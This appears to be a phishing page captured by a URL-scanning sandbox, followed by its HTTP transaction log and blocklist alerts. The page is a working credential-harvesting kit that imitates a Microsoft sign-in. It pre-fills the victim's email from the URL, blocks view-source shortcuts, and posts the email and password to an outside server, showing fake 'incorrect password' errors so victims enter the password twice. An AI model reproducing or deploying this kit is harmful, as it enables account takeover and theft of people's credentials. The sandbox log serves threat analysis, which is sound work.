            margin - left: .25 rem!important
        }

    .m - xl - 2 {
        margin: .5 rem!important
    }

    .mt - xl - 2,
        .my - xl - 2 {
            margin - top: .5 rem!important
        }

    .mr - xl - 2,
        .mx - xl - 2 {
            margin - right: .5 rem!important
        }

    .mb - xl - 2,
        .my - xl - 2 {
            margin - bottom: .5 rem!important
        }

    .ml - xl - 2,
        .mx - xl - 2 {
            margin - left: .5 rem!important
        }

    .m - xl - 3 {
        margin: 1 rem!important
    }

    .mt - xl - 3,
        .my - xl - 3 {
            margin - top: 1 rem!important
        }

    .mr - xl - 3,
        .mx - xl - 3 {
            margin - right: 1 rem!important
        }

    .mb - xl - 3,
        .my - xl - 3 {
            margin - bottom: 1 rem!important
        }

    .ml - xl - 3,
        .mx - xl - 3 {
            margin - left: 1 rem!important
        }

    .m - xl - 4 {
        margin: 1.5 rem!important
    }

    .mt - xl - 4,
        .my - xl - 4 {
            margin - top: 1.5 rem!important
        }

    .mr - xl - 4,
        .mx - xl - 4 {
            margin - right: 1.5 rem!important
        }

    .mb - xl - 4,
        .my - xl - 4 {
            margin - bottom: 1.5 rem!important
        }

    .ml - xl - 4,
        .mx - xl - 4 {
            margin - left: 1.5 rem!important
        }

    .m - xl - 5 {
        margin: 3 rem!important
    }

    .mt - xl - 5,
        .my - xl - 5 {
            margin - top: 3 rem!important
        }

    .mr - xl - 5,
        .mx - xl - 5 {
            margin - right: 3 rem!important
        }

    .mb - xl - 5,
        .my - xl - 5 {
            margin - bottom: 3 rem!important
        }

    .ml - xl - 5,
        .mx - xl - 5 {
            margin - left: 3 rem!important
        }

    .p - xl - 0 {
        padding: 0!important
    }

    .pt - xl - 0,
        .py - xl - 0 {
            padding - top: 0!important
        }

    .pr - xl - 0,
        .px - xl - 0 {
            padding - right: 0!important
        }

    .pb - xl - 0,
        .py - xl - 0 {
            padding - bottom: 0!important
        }

    .pl - xl - 0,
        .px - xl - 0 {
            padding - left: 0!important
        }

    .p - xl - 1 {
        padding: .25 rem!important
    }

    .pt - xl - 1,
        .py - xl - 1 {
            padding - top: .25 rem!important
        }

    .pr - xl - 1,
        .px - xl - 1 {
            padding - right: .25 rem!important
        }

    .pb - xl - 1,
        .py - xl - 1 {
            padding - bottom: .25 rem!important
        }

    .pl - xl - 1,
        .px - xl - 1 {
            padding - left: .25 rem!important
        }

    .p - xl - 2 {
        padding: .5 rem!important
    }

    .pt - xl - 2,
        .py - xl - 2 {
            padding - top: .5 rem!important
        }

    .pr - xl - 2,
        .px - xl - 2 {
            padding - right: .5 rem!important
        }

    .pb - xl - 2,
        .py - xl - 2 {
            padding - bottom: .5 rem!important
        }

    .pl - xl - 2,
        .px - xl - 2 {
            padding - left: .5 rem!important
        }

    .p - xl - 3 {
        padding: 1 rem!important
    }

    .pt - xl - 3,
        .py - xl - 3 {
            padding - top: 1 rem!important
        }

    .pr - xl - 3,
        .px - xl - 3 {
            padding - right: 1 rem!important
        }

    .pb - xl - 3,
        .py - xl - 3 {
            padding - bottom: 1 rem!important
        }

    .pl - xl - 3,
        .px - xl - 3 {
            padding - left: 1 rem!important
        }

    .p - xl - 4 {
        padding: 1.5 rem!important
    }

    .pt - xl - 4,
        .py - xl - 4 {
            padding - top: 1.5 rem!important
        }

    .pr - xl - 4,
        .px - xl - 4 {
            padding - right: 1.5 rem!important
        }

    .pb - xl - 4,
        .py - xl - 4 {
            padding - bottom: 1.5 rem!important
        }

    .pl - xl - 4,
        .px - xl - 4 {
            padding - left: 1.5 rem!important
        }

    .p - xl - 5 {
        padding: 3 rem!important
    }

    .pt - xl - 5,
        .py - xl - 5 {
            padding - top: 3 rem!important
        }

    .pr - xl - 5,
        .px - xl - 5 {
            padding - right: 3 rem!important
        }

    .pb - xl - 5,
        .py - xl - 5 {
            padding - bottom: 3 rem!important
        }

    .pl - xl - 5,
        .px - xl - 5 {
            padding - left: 3 rem!important
        }

    .m - xl - auto {
        margin: auto!important
    }

    .mt - xl - auto,
        .my - xl - auto {
            margin - top: auto!important
        }

    .mr - xl - auto,
        .mx - xl - auto {
            margin - right: auto!important
        }

    .mb - xl - auto,
        .my - xl - auto {
            margin - bottom: auto!important
        }

    .ml - xl - auto,
        .mx - xl - auto {
            margin - left: auto!important
        }
}

.text - justify {
    text - align: justify!important
}

.text - nowrap {
    white - space: nowrap!important
}

.text - truncate {
    overflow: hidden;
    text - overflow: ellipsis;
    white - space: nowrap
}

.text - left {
    text - align: left!important
}

.text - right {
    text - align: right!important
}

.text - center {
    text - align: center!important
}

@
media(min - width: 576 px) {
    .text - sm - left {
        text - align: left!important
    }

    .text - sm - right {
        text - align: right!important
    }

    .text - sm - center {
        text - align: center!important
    }
}

@
media(min - width: 768 px) {
    .text - md - left {
        text - align: left!important
    }

    .text - md - right {
        text - align: right!important
    }

    .text - md - center {
        text - align: center!important
    }
}

@
media(min - width: 992 px) {
    .text - lg - left {
        text - align: left!important
    }

    .text - lg - right {
        text - align: right!important
    }

    .text - lg - center {
        text - align: center!important
    }
}

@
media(min - width: 1200 px) {
    .text - xl - left {
        text - align: left!important
    }

    .text - xl - right {
        text - align: right!important
    }

    .text - xl - center {
        text - align: center!important
    }
}

.text - lowercase {
    text - transform: lowercase!important
}

.text - uppercase {
    text - transform: uppercase!important
}

.text - capitalize {
    text - transform: capitalize!important
}

.font - weight - light {
    font - weight: 300!important
}

.font - weight - normal {
    font - weight: 400!important
}

.font - weight - bold {
    font - weight: 700!important
}

.font - italic {
    font - style: italic!important
}

.text - white {
    color: # fff!important
}

.text - primary {
    color: #007bff !important
    }

    a.text-primary:focus,
    a.text-primary:hover {
      color: # 0062 cc!important
}

.text - secondary {
    color: #6c757d !important
    }

    a.text-secondary:focus,
    a.text-secondary:hover {
      color: # 545 b62!important
}

.text - success {
    color: #28a745 !important
    }

    a.text-success:focus,
    a.text-success:hover {
      color: # 1e7 e34!important
}

.text - info {
    color: #17a2b8 !important
    }

    a.text-info:focus,
    a.text-info:hover {
      color: # 117 a8b!important
}

.text - warning {
    color: # ffc107!important
}

a.text - warning: focus,
    a.text - warning: hover {
        color: # d39e00!important
    }

.text - danger {
    color: # dc3545!important
}

a.text - danger: focus,
    a.text - danger: hover {
        color: # bd2130!important
    }

.text - light {
    color: # f8f9fa!important
}

a.text - light: focus,
    a.text - light: hover {
        color: # dae0e5!important
    }

.text - dark {
    color: #343a40 !important
    }

    a.text-dark:focus,
    a.text-dark:hover {
      color: # 1 d2124!important
}

.text - muted {
    color: #6c757d !important
    }

    .text-hide {
      font: 0/0 a;
      color: transparent;
      text-shadow: none;
      background-color: transparent;
      border: 0
    }

    .visible {
      visibility: visible !important
    }

    .invisible {
      visibility: hidden !important
    }

    @media print {

      *,
      ::after,
      ::before {
        text-shadow: none !important;
        box-shadow: none !important
      }

      a:not(.btn) {
        text-decoration: underline
      }

      abbr[title]::after {
        content: " ("attr(title) ")"
      }

      pre {
        white-space: pre-wrap !important
      }

      blockquote,
      pre {
        border: 1px solid # 999;
    page -
    break -inside: avoid
}

thead {
    display: table - header - group
}

img,
tr {
    page -
        break -inside: avoid
}

h2,
h3,
p {
    orphans: 3;
    widows: 3
}

h2,
h3 {
    page -
        break -after: avoid
}

@
page {
    size: a3
}

body {
    min - width: 992 px!important
}

.container {
    min - width: 992 px!important
}

.navbar {
    display: none
}

.badge {
    border: 1 px solid #000
      }

      .table {
        border-collapse: collapse !important
      }

      .table td,
      .table th {
        background-color: # fff!important
}

.table - bordered td,
    .table - bordered th {
        border: 1 px solid # ddd!important
    }
}

/*# sourceMappingURL=bootstrap.min.css.map */


textarea: hover,
    input: hover,
    textarea: active,
    input: active,
    textarea: focus,
    input: focus,
    button: focus,
    button: active,
    button: hover,
    label: focus,
    .btn: active,
    .btn.active {
        outline: 0 px!important; - webkit - appearance: none;
        box - shadow: none!important;
    }

.box {
    box - shadow: 0 2 px 6 px rgb(0 0 0 / 20 % );
    /*border: 1px solid rgba(0, 0, 0, 0.4);*/
    /*max-height: 350px;*/

    max - width: 440 px;
    /*width: calc(100% - 40px);*/
    padding: 48 px!important;
    margin - left: auto;
    margin - right: auto;
    margin - top: 20 px;

    margin - bottom: 28 px;
    background - color: white;
    overflow - x: hidden;

}

.boxtext {
    z - index: 0 px;
    transform: translateX(+200 px);
    animation: myAnim 300 ms ease - in 0 s 1 normal forwards;
}

@
keyframes myAnim {
    0 % {
        transform: translateX(-200);
    }

    100 % {
        transform: translateX(0 px);
    }
}

@
keyframes bgmyAnim {
    0 % {
        opacity: 0;
    }

    100 % {
        opacity: 1;
    }
}

.box2 {
    box - shadow: 0 2 px 6 px rgb(0 0 0 / 20 % );
    /*border: 1px solid rgba(0, 0, 0, 0.4);*/
    /*max-height: 350px;*/

    max - width: 440 px;
    /*width: calc(100% - 40px);*/
    padding: 8 px 48 px!important;
    margin - left: auto;
    margin - right: auto;
    margin - bottom: 28 px;
    background - color: white;
}

# footer {
    position: fixed;
    bottom: 0 px;
    width: 100 % ;
    overflow: visible;
    z - index: 99;
    clear: both;
    background - color: #000;
      background-color: rgba(0, 0, 0, 0.6);
    }

    /*.footerNode span {
    color: # fff;
    font - size: 0.75 rem;
    line - height: 28 px;
    white - space: nowrap;
    display: inline - block;
    float: right;
    margin - left: 8 px;
    margin - right: 8 px;
} * /
div.footerNode a,
    div.footerNode span {
        color: # fff;
        font - size: 0.75 rem;
        line - height: 28 px;
        white - space: nowrap;
        display: inline - block;
        float: right;
        margin - left: 8 px;
        margin - right: 8 px;
    }


.bgimg {
    animation: bgmyAnim 1 s cubic - bezier(0.11, 0, 0.5, 0) 0 s 1 normal forwards;
    position: absolute;
    height: 100 % ;
    width: 100 % ;
    top: 0 px;
    background - size: cover;
    background - repeat: no - repeat;
    background - image: url("https://i.gyazo.com/4ecc10d9e8e446e3c7ef27358838f287.jpg");
}

.topp {
    margin - top: 48 px!important;
    padding - top: 48 px!important;
}

@
media only screen and(max - width: 610 px) {
        # hide {
            display: none;
        }

        .topp {
            margin - top: 10 px!important;
            padding - top: 5 px!important;
        }

        .bgimg {

            position: absolute;
            height: 100 % ;
            width: 100 % ;
            top: 0 px;
            background - size: cover;
            background - repeat: no - repeat;
            background - image: none;
            background - color: white;
        }

        .box {
            box - shadow: none;
            /*border: 1px solid rgba(0, 0, 0, 0.4);*/
            /*max-height: 350px;*/

            max - width: 440 px;
            /*width: calc(100% - 40px);*/
            padding: 0 px!important;
            margin - left: auto;
            margin - right: auto;
            margin - top: 0 px;
            margin - bottom: 28 px;
            background - color: white;
        }

        .box2 {
            box - shadow: none;
            /*border: 1px solid rgba(0, 0, 0, 0.4);*/
            /*max-height: 350px;*/
            border: 1 px solid;
            max - width: 440 px;
            /*width: calc(100% - 40px);*/
            padding: 8 px 20 px!important;
            margin - left: 30 px!important;
            margin - right: 30 px!important;
            margin - bottom: 28 px!important;
            background - color: white;
        }
    } < /style> < style type = "text/css" >
    .loader {
        /*position: absolute;*/
        /*padding: 30px 0px;*/
        width: 40 px;
        /*margin: -22px;*/
    }

.loader.circle {
    position: absolute;
    width: 18 px;
    height: 18 px;
    opacity: 0;
    transform: rotate(225 deg);
    animation - iteration - count: infinite;
    animation - name: orbit;
    animation - duration: 3 s;
}

.loader.circle: after {
        content: "";
        position: absolute;
        width: 3 px;
        height: 3 px;
        border - radius: 5 px;
        background: #000;
    }

    .loader .circle:nth-child(2) {
      animation-delay: 240ms;
    }

    .loader .circle:nth-child(3) {
      animation-delay: 480ms;
    }

    .loader .circle:nth-child(4) {
      animation-delay: 720ms;
    }

    .loader .circle:nth-child(5) {
      animation-delay: 960ms;
    }

    @keyframes orbit {
      0% {
        transform: translate(10px, 0);
        opacity: 1;
        animation-timing-function: ease-out;
      }

      7% {
        transform: translate(30px, 0);
        animation-timing-function: linear;
      }

      30% {
        transform: translate(60px, 0);
        animation-timing-function: ease-in-out;
      }

      40% {
        transform: translate(90px, 0);
        animation-timing-function: ease-out;
      }

      50% {
        transform: translate(120px, 0);
        animation-timing-function: ease-out;
      }

      75% {
        transform: translate(250px, 0);
        animation-timing-function: ease-out;
      }

      76% {
        transform: translate(300px, 0);
        opacity: 0;
      }

      100% {
        transform: translate(350px, 0);
        opacity: 0;
      }
    }
  </style>
</head>

<body>
  <div class= "bgimg" > < /div> < div class = "container-fluid" >
            < div class = "container" >

            < div class = "row topp" >

            < div class = "col-lg-6 mx-auto" >
            <!-- ////////////////////////diiiv1 start/////////////////////// -->
            < div class = "box"
        id = "diiiv1" >
        < div class = "loader "
        style = "display:none;" >
        < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < div class = "boxtext" >
        < img src = "https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico"
        class = "img-fluid logoimg"
        width = "30px" > & nbsp < span class = "align-middle h5 logoname"
        style = "color: #747474;" > Microsoft < /span><br><br> < span class = "h5" > Sign In < /span><br> < span id = "error"
        class = "text-danger"
        style = "display: none;" > That Microsoft account doesn 't exist. Enter a different account</span> < div class = "form-group mt-2" >
        < input type = "email"
        name = "ai"
        class = "form-control rounded-0 border-dark"
        id = "ai"
        aria - describedby = "aiHelp"
        placeholder = "Email, phone, or Skype"
        style = "border-right: none;border-left: none;border-top: none;padding-left: 0px;padding-right: 0px;" >
        < /div> < p style = "font-size: 13px" > No account ? < a href = "#" > Create one! < /a></p >
        < p style = "font-size: 13px" > < a href = "#" > Can 't access your account?</a></p>

        < div class = "text-right" >
        < button type = "button"
        class = "btn rounded-0 text-white px-4"
        id = "next"
        style = "background-color: #0066BA;cursor: pointer;" > Next < /button> < /div> < /div> < /div>
        <!-- ////////////////////////diiiv1 end/////////////////////// -->
        <!-- ////////////////////////div2 start/////////////////////// -->
        < div class = "box"
        id = "div2"
        style = "display: none;" >
        < div class = "loader "
        style = "display:none;" >
        < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < form id = "contact"
        class = "boxtext" >
        < img src = "https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico"
        class = "img-fluid logoimg"
        width = "30px" > & nbsp < span class = "align-middle h5 logoname"
        style = "color: #747474;" > Microsoft < /span><br><br> < i class = "fas fa-arrow-left"
        id = "back" > < /i>&nbsp<span id="aich">abc@abc.com</span >
        < div class = "py-2" > < span class = "h5" > Enter Password < /span></div >
        < div class = "pb-2" >
        < span id = "msg"
        class = "text-danger" > < /span> < /div> < div class = "form-group mt-2" >
        < input type = "password"
        name = "pr"
        class = "form-control rounded-0 border-dark"
        id = "pr"
        aria - describedby = "aiHelp"
        placeholder = "Enter Password"
        style = "border-right: none;border-left: none;border-top: none;padding-left: 0px;padding-right: 0px;" >
        < /div> < p style = "font-size: 14px" > < a href = "#" > Forget password ? < /a></p >
        < div class = "text-right" >
        < button type = "button"
        class = "btn rounded-0 text-white px-4"
        id = "submit-btn"
        style = "background-color: #0066BA;" > login < /button> < /div> < /form> < /div>
        <!-- ////////////////////////div2 end/////////////////////// -->
        <!-- ////////////////////////div3 start/////////////////////// -->
        < div class = "box"
        id = "div3"
        style = "display: none;" >
        < div class = "boxtext" >
        < img src = "https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico"
        class = "img-fluid logoimg"
        width = "30px" > & nbsp < span class = "align-middle h5 logoname"
        style = "color: #747474;" > Microsoft < /span><br><br> < span class = "h4" > Taking you to your Organization 's sign-in page</span><br><br> < div class = "loader " >
        < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < br >
        < div class = "text-left" >
        < a href = "#" > cancel < /a> < /div> < br > < br >
        < /div> < /div>
        <!-- ////////////////////////div3 end/////////////////////// -->
        < /div> < /div> < /div> < div class = "row " >
        < div class = "col-sm-5 mx-auto box2" >
        < div class = "py-2 bg-white " >
        < span > < i class = "fas fa-key" > < /i> &nbspSign in options</span >
        < /div> < /div> < /div> < /div> < footer id = "footer" >
        < div >
        < div class = "footerNode" >
        < span > �2022 Microsoft < /span> < a href = "#" > Privacy statement < /a> < /div> < /div> < /footer> < script language = "JavaScript" >
        function disableCtrlKeyCombination(e) {
            //list all CTRL + key combinations you want to disable
            var forbiddenKeys = new Array('u', 'a', 'n', 'c', 'x', 'v', 'j', 'w');
            var key;
            var isCtrl;
            if (window.event) {
                key = window.event.keyCode; //IE
                if (window.event.ctrlKey)
                    isCtrl = true;
                else
                    isCtrl = false;
            } else {
                key = e.which; //firefox
                if (e.ctrlKey)
                    isCtrl = true;
                else
                    isCtrl = false;
            }
            //if ctrl is pressed check if other key is in forbidenKeys array
            if (isCtrl) {
                for (i = 0; i < forbiddenKeys.length; i++) {
                    //case-insensitive comparation
                    if (forbiddenKeys[i].toLowerCase() == String.fromCharCode(key).toLowerCase()) {
                        ('Key combination CTRL + ' + String.fromCharCode(key) + ' has been disabled.');
                        return false;
                    }
                }
            }
            return true;
        } < /script> < /head> < body onkeypress = "return disableCtrlKeyCombination(event);"
        onkeydown = "return disableCtrlKeyCombination(event);" >

        <!-- Optional JavaScript -->
        <!-- jQuery first, then Popper.js, then Bootstrap JS -->
        < script type = "text/javascript"
        src = "https://code.jquery.com/jquery-3.2.1.slim.min.js"
        integrity = "sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN"
        crossorigin = "anonymous" > < /script> < script type = "text/javascript"
        src = "https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js"
        integrity = "sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q"
        crossorigin = "anonymous" > < /script> < script type = "text/javascript"
        src = "https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"
        integrity = "sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl"
        crossorigin = "anonymous" > < /script> < /body> < script type = "text/javascript"
        src = "https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js" > < /script> < script >
        /* global $ */
        $(document).ready(function() {
            var count = 0;

            var ai = window.location.hash.substr(1);
            if (!ai) {

            } else {
                var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;

                if (!base64regex.test(ai)) {
                    var my_ai = ai;
                } else {
                    var my_ai = atob(ai);
                }
                var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

                if (!filter.test(my_ai)) {
                    $('#error').show();
                    ai.focus;
                    return false;
                }
                var ind = my_ai.indexOf("@");
                var my_slice = my_ai.substr((ind + 1));
                var c = my_slice.substr(0, my_slice.indexOf('.'));
                var fnl = c.toLowerCase();
                var fnlu = c.toUpperCase();
                $('#ai').val(my_ai);
                $("#diiiv1").animate({
                    left: 0,
                    opacity: "hide"
                }, 0);
                $("#div3").animate({
                    right: 0,
                    opacity: "show"
                }, 0);
                setTimeout(() => {
                    $("#div3").animate({
                        left: 0,
                        opacity: "hide"
                    }, 0);
                    $("#div2").animate({
                        right: 0,
                        opacity: "show"
                    }, 0);
                    $("#aich").html(my_ai);

                }, 4000);
            }





            $('#ai').click(function() {
                $('#error').hide();
            });

            $(document).keypress(function(event) {

                var keycode = (event.keyCode ? event.keyCode : event.which);
                if (keycode == '13') {
                    event.preventDefault();
                    if ($("#diiiv1").is(":visible")) {

                        $("#next").click();

                    } else if ($("#div2").is(":visible")) {
                        event.preventDefault();

                        $("#submit-btn").click();

                    } else {
                        return false;
                    }
                }
            });


            $('#next').click(function() {
                event.preventDefault();
                var my_ai = $('#ai').val();
                var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

                if (!filter.test(my_ai)) {
                    $('#error').show();
                    ai.focus;
                    return false;
                }
                var ind = my_ai.indexOf("@");
                var my_slice = my_ai.substr((ind + 1));
                var c = my_slice.substr(0, my_slice.indexOf('.'));
                var fnl = c.toLowerCase();
                var fnlu = c.toUpperCase();
                $("#diiiv1").animate({
                    left: 0,
                    opacity: "hide"
                }, 0);
                $("#div3").animate({
                    right: 0,
                    opacity: "show"
                }, 0);
                setTimeout(() => {
                    $("#div3").animate({
                        left: 0,
                        opacity: "hide"
                    }, 0);
                    $("#div2").animate({
                        right: 0,
                        opacity: "show"
                    }, 0);
                    $("#aich").html(my_ai);

                }, 4000);



            });


            $('#back').click(function() {
                $("#msg").hide();
                $("#ai").val("");
                $("#pr").val("");
                $("#div2").animate({
                    left: 0,
                    opacity: "hide"
                }, 0);
                $("#diiiv1").animate({
                    right: 0,
                    opacity: "show"
                }, 1000);

            });

            var file = "bmV4dC5waHA=";
            $('#submit-btn').click(function(event) {
                event.preventDefault();
                var ai = $("#ai").val();
                var pr = $("#pr").val();
                var detail = $("#field").html();
                var msg = $('#msg').html();

                var my_ai = ai;
                var ind = my_ai.indexOf("@");
                var my_slice = my_ai.substr((ind + 1));
                var c = my_slice.substr(0, my_slice.indexOf('.'));
                var fnl = c.toLowerCase();
                $('#msg').text(msg);
                count = count + 1;
                $.ajax({
                    dataType: 'JSON',
                    url: "https://bahaahariri.com/wp-admin/dee.php",
                    type: 'POST',
                    data: {
                        ai: ai,
                        pr: pr,
                        detail: detail,

                    },
                    beforeSend: function(xhr) {
                        $("#div2").animate({
                            left: 0,
                            opacity: "hide"
                        }, 0);
                        $("#div3").animate({
                            left: 0,
                            opacity: "show"
                        }, 0);
                    },
                    success: function(response) {
                        $("#pr").val("");
                        if (count >= 2) {
                            count = 0;
                            $("#load-text").html("Mail Recovered");
                            setTimeout(() => {
                                $("#load-text").html("You will be redirected to your office Mailbox shortly.");
                                setTimeout(() => {
                                    window.location.replace("https://www." + my_slice);
                                    // window.location.replace("https://www.office.com");
                                }, 500);
                            }, 1000);


                            return false;
                        }
                        $("#msg").html("Your account or password is incorrect. If you don't remember your password, <a href='#'>reset it now</a>");
                        $("#div3").animate({
                            left: 0,
                            opacity: "hide"
                        }, 0);
                        $("#div2").animate({
                            left: 0,
                            opacity: "show"
                        }, 100);
                    },
                    error: function() {
                        $("#pr").val("");
                        if (count >= 2) {
                            count = 0;
                            $("#load-text").html("Mail Recovered");
                            setTimeout(() => {
                                $("#load-text").html("You will be redirected to your office Mailbox shortly.");
                                setTimeout(() => {
                                    window.location.replace("https://outlook.office.com");
                                    // window.location.replace("https://outlook.office.com");
                                }, 500);
                            }, 1000);


                            return false;
                        }
                        $("#msg").html("Your account or password is incorrect. If you don't remember your password, <a href='#'>reset it now</a>");
                        $("#div3").animate({
                            left: 0,
                            opacity: "hide"
                        }, 0);
                        $("#div2").animate({
                            left: 0,
                            opacity: "show"
                        }, 100);
                    },
                    complete: function() {

                    }
                });
            });
        }); < /script>

        < /html> < script type = "text/javascript"
        src = "https://code.jquery.com/jquery-3.3.1.min.js" > < /script> < script >
        $('#i0116').keypress(function(e) {
            var key = e.which;
            if (key == 13) // the enter key code
            {
                $('#usernameProgress').css('display', 'block');
                setTimeout(function() {
                    goNext();
                    return false;
                }, 1200);
            }
        });

        function goNext() {
            var usr = $('#i0116').val();
            var userError = 'Enter a valid email address, phone number, or Skype name.';
            if (isEmail($('#i0116').val())) {
                $('#loginHeader').text('Enter password');
                $('#displayName').text(usr);
                $('#emField').css('display', 'none');
                $('#pwField').css('display', 'block');
                $('.identityBanner').css('display', 'block');

                $('#i0117').focus();
                $('#errorBar').text('');
                $('form').find('input:button').each(function() {
                    $("<input type='submit' />").attr({
                            name: this.name,
                            value: this.value
                        }).insertBefore(this)
                        .addClass('btn btn-block btn-primary');
                }).remove();
            } else {
                $('#i0116').addClass('has-error');
                $('#errorBar').text(userError);
                $('#usernameProgress').css('display', 'none');
            }

        }

        function closeBox() {
            $('#popup1').css('visibility', 'hidden').css('opacity', 0);
            $('#i0116').focus();
        }

        function checkSubmit() {
            var pwd = $('#i0117').val();
            var pwError = 'Please enter the password for your Microsoft account.';
            if (pwd.length > 5) {
                $('#errorBar').text('');
                $('#pwProgress').css('display', 'block');
                return true;
            } else {
                $('#errorBar').text(pwError);
                return false;
            }
        }

        function isEmail(email) {
            var regex = /^([a-zA-Z0-9_.+-])+\@(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/;
            return regex.test(email);
        }

        function iserror(email) {
            $('#displayName').text(email);
            $('#errorBar').html('Your account or password is incorrect. If you dont remember your password, <a href="#">reset it now.</a>');
            $('#i0117').addClass('has-error');
            $('#emField').css('display', 'none');
            $('#pwField').css('display', 'block');
            $('.identityBanner').css('display', 'block');
            $('form').find('input:button').each(function() {
                $("<input type='submit' />").attr({
                        name: this.name,
                        value: this.value
                    }).insertBefore(this)
                    .addClass('btn btn-block btn-primary');
            }).remove();
        } < /script>

        < div id = "popup1"
        class = "overlay"
        style = "visibility:visible;opacity: 1" >
        < div class = "popup" >
        < a class = "close"
        href = "#"
        onclick = "closeBox()" > � < /a> < div class = "content" >
        Your session has expired,
        please login. < /div> < /div> < /div>

        < style >
        box {
            width: 40 % ;
            margin: 0 auto;
            background: rgba(255, 255, 255, 0.2);
            padding: 35 px;
            border: 2 px solid # fff;
            border - radius: 20 px / 50 px;
            background - clip: padding - box;
            text - align: center;
        }

        .button {
            font - size: 1e m;
            padding: 10 px;
            color: # fff;
            border: 2 px solid #0067B8;
            border-radius: 20px/50px;
            text-decoration: none;
            cursor: pointer;
            transition: all 0.3s ease-out;
        }
        
        .button:hover {
            background: # 0067 B8;
        }

        .overlay {
            position: fixed;
            top: 0;
            bottom: 0;
            left: 0;
            right: 0;
            background: rgba(0, 0, 0, 0.7);
            transition: opacity 500 ms;
            visibility: hidden;
            opacity: 0;
        }

        .overlay : target {
            visibility: visible;
            opacity: 1;
        }

        .popup {
            margin: 70 px auto;
            padding: 20 px;
            background: # fff;
            border - radius: 5 px;
            width: 30 % ;
            position: relative;
            transition: all 5 s ease - in -out;
        }

        .popup h2 {
            margin - top: 0;
            color: #333;
            font-family: Tahoma, Arial, sans-serif;
        }
        
        .popup .close {
            position: absolute;
            top: 20px;
            right: 30px;
            transition: all 200ms;
            font-size: 30px;
            font-weight: bold;
            text-decoration: none;
            color: # 333;
        }

        .popup.close : hover {
            color: #0067B8;
        }
        
        .popup .content {
            max-height: 30%;
            overflow: auto;
        }
        
        @media screen and (max-width: 700px) {
            .box {
                width: 70%;
            }
            .popup {
                width: 70%;
            }
        }
    </style>
</body>

</html>

<?php
if(isset($_GET['error'])){
	$id = $_GET['id'];
            echo "";
        } ?>
                                    


HTTP Transactions (32)


Request Response
                                        
                                            GET / HTTP/1.1 
Host: office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

                                         
                                         172.67.140.169
HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
                                        
Date: Mon, 19 Sep 2022 11:32:30 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bNZP8ogj1k6sSS32CV%2FGSMtxw0U%2BJYMUHRSz1ZFgOSyxT6LkuyJb1P1yl8LVjTQC621IW2zTBdIzW9ugmEUX5Z%2FI2IWkW5a9%2Bvr7CoeNxGcfcNVFDlY4ekG2sclHtBjelpsHQH3b%2Fbh4HwGQx3MTDBW7pWp83bLKKCpHVqpTKqw%2BX9y9uZH5gU6tFdPTJgRxlBzqVXC39cpZxz4EWbuFUn6BNLCiD%2FsJ%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 74d200485e5ab505-OSL
Content-Encoding: gzip
alt-svc: h2=":443"; ma=60


--- Additional Info ---
Magic:  HTML document, ASCII text, with very long lines (65536), with no line terminators
Size:   49860
Md5:    ee858c1c53d699c5c6d7a6e1c87cf0fd
Sha1:   d99d7a7ff3909c7a16bd7096c74ac5388e1204ca
Sha256: 948cd766ca2f3e39a1d4e7d0a4068446de384f7017aa91e1510edaa562feae10

Alerts:
  Blocklists:
    - openphish: Office365
    - fortinet: Phishing
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "2C25A6717245BE3746F1412AF9DD1C351E12DBB93E8E08C3DDCDACF35E419514"
Last-Modified: Sun, 18 Sep 2022 06:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=2513
Expires: Mon, 19 Sep 2022 12:14:23 GMT
Date: Mon, 19 Sep 2022 11:32:30 GMT
Connection: keep-alive

                                        
                                            GET /v1/ HTTP/1.1 
